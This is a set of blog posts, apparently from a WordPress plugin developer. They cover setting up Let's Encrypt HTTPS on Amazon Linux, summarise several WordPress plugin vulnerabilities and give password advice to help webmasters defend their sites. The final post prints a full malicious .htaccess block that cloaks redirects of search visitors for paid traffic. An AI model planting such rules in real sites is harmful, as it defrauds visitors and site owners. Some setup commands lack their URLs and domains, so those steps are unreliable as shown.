Posted on

HTTPS On Amazon Linux With LetsEncrypt

In order to provide faster and more secure connections to the Store Locator Web service we have added https support through Sucuri.   Adding https will allow us to take advantage of SPDY and HTTP2 which are the latest improvements to web connection technology.   There are many reasons to get your servers onto full https support.   As we learned it isn’t a one-click operation, but without too much additional effort you can get your servers running on Amazon Linux with a secured connection.   Here are the cheat sheet notes based on our experience.

EC2 Server Rules

With EC2 you will want to make sure you set your security group rules to allow incoming connections on port 443.  By default no ports are open, you already added port 80 for web support.   Make sure you go back and add port 443 as an open inbound rule.

Apache SSL Support

Next you need to configure the Apache web server to handle SSL connections.   The easiest way to get started is to install the mod_ssl library which will create the necessary ssl.conf file in /etc/httpd/conf.d/ssl.conf and turn on the port 443 listener.

# sudo service httpd stop
# sudo yum update -y
# sudo yum install -y mod24_ssl

Get Your Let’s Encrypt Certificate

This is more of a challenge if you don’t know where to start. Part of the issue is Amazon Linux runs Python 2.6 and Let’s Enrypt likes Python 2.7. Luckily there has been progress on getting this working so you can cheat a bit.

# git clone
# cd letsencrypt
# git checkout amazonlinux
# sudo ./letsencrypt-auto --agree-dev-preview --server certonly -d -d -v --debug

You may get some warnings and other messages but eventually you will get an ANSI-mode dialogue screen (welcome to 1985) that walks you through accepting terms and the certification. Answer the questions and accept your way to a new cert.

Your certs will be placed in /etc/letsencrypt/live/ , remember this path as you will need it later.

Update SSL.conf

Go to the /etc/httpd/conf.d directory and edit the ssl.conf file.

Look for these 3 directives and change them to point to the cert.pem, privkey.pem, and chain.pem file.


Restart Apache & Get Secure

No restart apache and check by surfing to https:///

# service httpd start

You may need to update various setting on your web apps especially if you use .htaccess to rewrite URLS with http or https.

Posted on

Increase In WordPress Malware Detected by Sucuri

If you are running your web presence on WordPress you will want to know about this. The method used to get the JavaScript code onto your site and redirect to a malware installer is not yet know. The fingerprints, however, are easily detectable. Share this article with your site or system admin so they can scan your WordPress install and remove the malware if necessary.

WordPress Malware – Active VisitorTracker Campaign – Sucuri Blog

We are seeing a large number of WordPress sites compromised with the “visitorTracker_isMob” malware code. This campaign started 15 days ago, but only in the last few days have we started to see it gain traction; really affecting a large number of sites. Here is a quick snapshot of what we’re seeing with the infection rates.WP Malware Sucuri 2015-09-18_08-29-02

Read More at:

Posted on

Critical Persistent XSS 0day in WordPress | Sucuri Blog

If you have comments enabled on your WordPress site you may want to disable them until a patch is issued.    Hackers can overload the comments and inject JavaScript-based code into your comment stream.  While this will not likely allow access into your WordPress site, the hackers can use this method to make your website the distribution point for JavaScript code that attacks your site visitors devices.  The most vulnerable users will be those visiting your site using desktops or laptops.

Read about the security issue at the Sucuri blog.

Who’s affected If your WordPress site allows users to post comments via the WordPress commenting system, you’re at risk. An attacker could leverage a bug in the way comments are stored in the site’s database to insert malicious scripts on your site, thus potentially allowing them to infect your visitors with malware, inject SEO spam or even insert backdoor in the site’s code if the code runs when in a logged-in administrator browser. You should definitely disable comments on your site until a patch is mad

Source: Critical Persistent XSS 0day in WordPress | Sucuri Blog

Posted on

WP Slimstat Patch Fixes SQL Injection Vulnerability

WP Slimstat released a patch to plug a security hole that would allow hackers to guess the MD5 hash and gain access to the WordPress database installed on the server.    If you are running WP Slimstat it is recommended that you upgrade immediately.

from ARS Technica

More than 1 million WordPress websites imperiled by critical plugin bug

More than one million websites that run on the WordPress content management application run the risk of being completely hijacked by attackers exploiting critical vulnerability in most versions of a plugin called WP-Slimstat.

Versions prior to the recently released Slimstat 3.9.6 contain a readily guessable key that’s used to sign data sent to and from visiting end-user computers, according to a blog post published Tuesday by Web security firm Sucuri. The result is a SQL injection vector that can be used to extract highly sensitive data, including encrypted passwords and the encryption keys used to remotely administer websites.



This is a bit of “artistic license” in the “More than 1 million” claim.   The active installation number is likely closer to 600,000 as There have been 1.3 million downloads.  Downloads do not equate to active installations especially for a plugin that has been around for years.  A typical plugin that has been around for a while will generally have 40% of the download count as an active installation; a number the trends downward over time as existing installation updates are not tracked separately.



Posted on

Translating Plugins and Excess SLP Files

wpCSL Code Messages

I am working on an issue that is causing JavaScript to stop displaying subpanels when a language translation does not load properly.   While working on that problem I noticed this construct in a few of the .po language files:

#: WPCSL-generic/build/zipfiles/store-locator-le/include/storelocatorplus-actions_class.php:331
#: WPCSL-generic/build/zipfiles/svnrepo/tags/3.11.10/include/storelocatorplus-actions_class.php:331
#: WPCSL-generic/build/zipfiles/svnrepo/tags/3.11.11/include/storelocatorplus-actions_class.php:331

All of the entries with WPCSL-generic/build/ are not part of the final product distribution, or they SHOULDN’T BE as of a bug fix made around April of 2013.   I have not yet found where these entries are being generated.  I’m guessing from the Codestyling Localization plugin that is scanning all of the files in the plugin directory.

If you are going to start a translation and notice that your server has a ./WPCSL-generic/build directory you can, and should, safely delete the entire WPCSL-generic directory from under the store-locator-le directory.   In fact this is true of ANY site that has SLP installed.  Not only does it save disk space, but removing any WPCSL-generic/build files will reduce the code living on the server which means less vectors of attack for hackers.

Leave the WPCSL-generic/classes directory.  That is the correct production build of the wpCSL framework.



Posted on

WordPress Security Issue: W3 Total Cache / WP Super Cache

A security vulnerability that may allow remote users to execute PHP code on WordPress sites running the W3 Total Cache or WP Super Cache plugins was reported over a month ago.   Both plugins have posted security patches recently.    I know there are at least a handful of users of the Charleston Software Associates WordPress Plugins that use the plugins.

It is recommended you upgrade to the latest version of the W3 Total Cache and WP Super Cache plugins as soon as possible.

You can get the latest version of

WP Super Cache here:

W3 Total Cache here:

This vulnerability can be exploited, much like ANY other plugin with a vulnerability, even if the plugin is installed but not active.  It does not require an active plugin for external sources to access code on your server if they know they install path.


You can read the CloudFlare post about this here: W3TC and WP Super Cache Vulnerability Discovered, We’ve Automatically Patched

Posted on

Hackers Redirecting Websites (.htaccess)

A quick note to fellow webmasters out there as well as business owners running websites.   We have seen a recent rash of brute force hacking attempts on our servers and our client’s servers.   There have been several successful brute force break-ins in the past 3 months.   Below are a couple of things to look for and some best practices in keeping your site and your data secure.

Best Practices

The following best practices will help thwart many of  the attempts to hack into your account using a brute force “cracker”.

Do Not Share Your Password

Do not share your passwords with anyone.  If you have a vendor you need to work with or an employee that needs access, create a specific login for them with their own passwords.

Do Not Dole Out Access Easily

Before creating a new account with access to your server first ask yourself if the person truly needs access.   If this is a limited one-time request consider setting up a generic vendor account that you re-use.  Change the password as soon as they are done with it.  Never allow more than one person/vendor/client use the account a time.

Use A Strong Password

This cannot be emphasized enough.  Do NOT use simple passwords.  Do not use passwords based on a single dictionary word.  DO use passwords with punctuation and capitalization.   The most common password is “password” or “password1”.  Brute force only works if you are using bad passwords.

Try using something like a jumbled phrase with special character replacements, even MyP@ssW0rd! is a much better than 90% of the passwords people use.    Get creative “IDon’tLikeMilk!” or “DoYouLikeMilk2?” are fairly easy to remember but hard for brute force bots to guess.

Footprints Left By Hackers

Most hackers have little interest in your data or in doing something directly malicious to your site.   The most prevalent reason to hack a site is to either distribute a virus to site visitors or to earn revenue form “pay per click” programs like Google Adsense.

Most often this means adding code to your site while keeping your site functional.  It does them no good if the site breaks.  They want people visiting your site while a program is downloaded to their browser behind-the-scenes or they are redirected to a site they didn’t intend to visit.  Some of the hacks even pop-under a browser window with an ad, click the ad, then close the window before you see it… earning the hacker 25-cents in the process.

.htaccess Modification

This is one we’ve seen a few times, the .htaccess file on your server redirects a number of special file requests to a site they get paid to send traffic to.

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|metacrawler\.|mail\.|dogpile\?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(imgres\?q).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*ADb.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*Windows.* [NC]
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)${HTTP_HOST}%{REQUEST_URI}&ei=2ZMoeqjO6K+yqY2OyVEw8J+1pw==&usg=M4kjonDdK-kwm0WO2JdBFM&sig2=HKhlYtbOgR6MTETnCv3UJQ [R=302,L,CO=ADb:36:%{HTTP_HOST}:11060:/:0:HttpOnly]

index.php / index.htm modification

Here the hacker installs a binary representation of PHP or JavaScript commands into your web page.  This runs a program on the visitors browser which, depending on the code, can do any number of things from forcing a program download to adding a tracking cookie, to taking over the users search bar.  Some of these can be very nasty, others are less so and do relatively harmless (but annoying) browser redirection.

  <? require ("the_real_header.php");


We hope that by getting this information online people start to learn a bit more about site security.   Insecure sites not only slow down the browser and are a detriment to the overall user experience, they can have much larger far-reaching affects that people don’t even think of.   One of the larger terrorist groups was found to be partly funded by Internet hacks like these.  25-cents-at-a-time clicks added up to over $1M that went straight into the terrorist network.  Now that’s a lot of clicks!  Imagine if they used this for a good cause… donate food or shelter to people in need, but that is a story for another site.

In the meantime, secure your site, remove the hacks, and create a better experience for your visitors.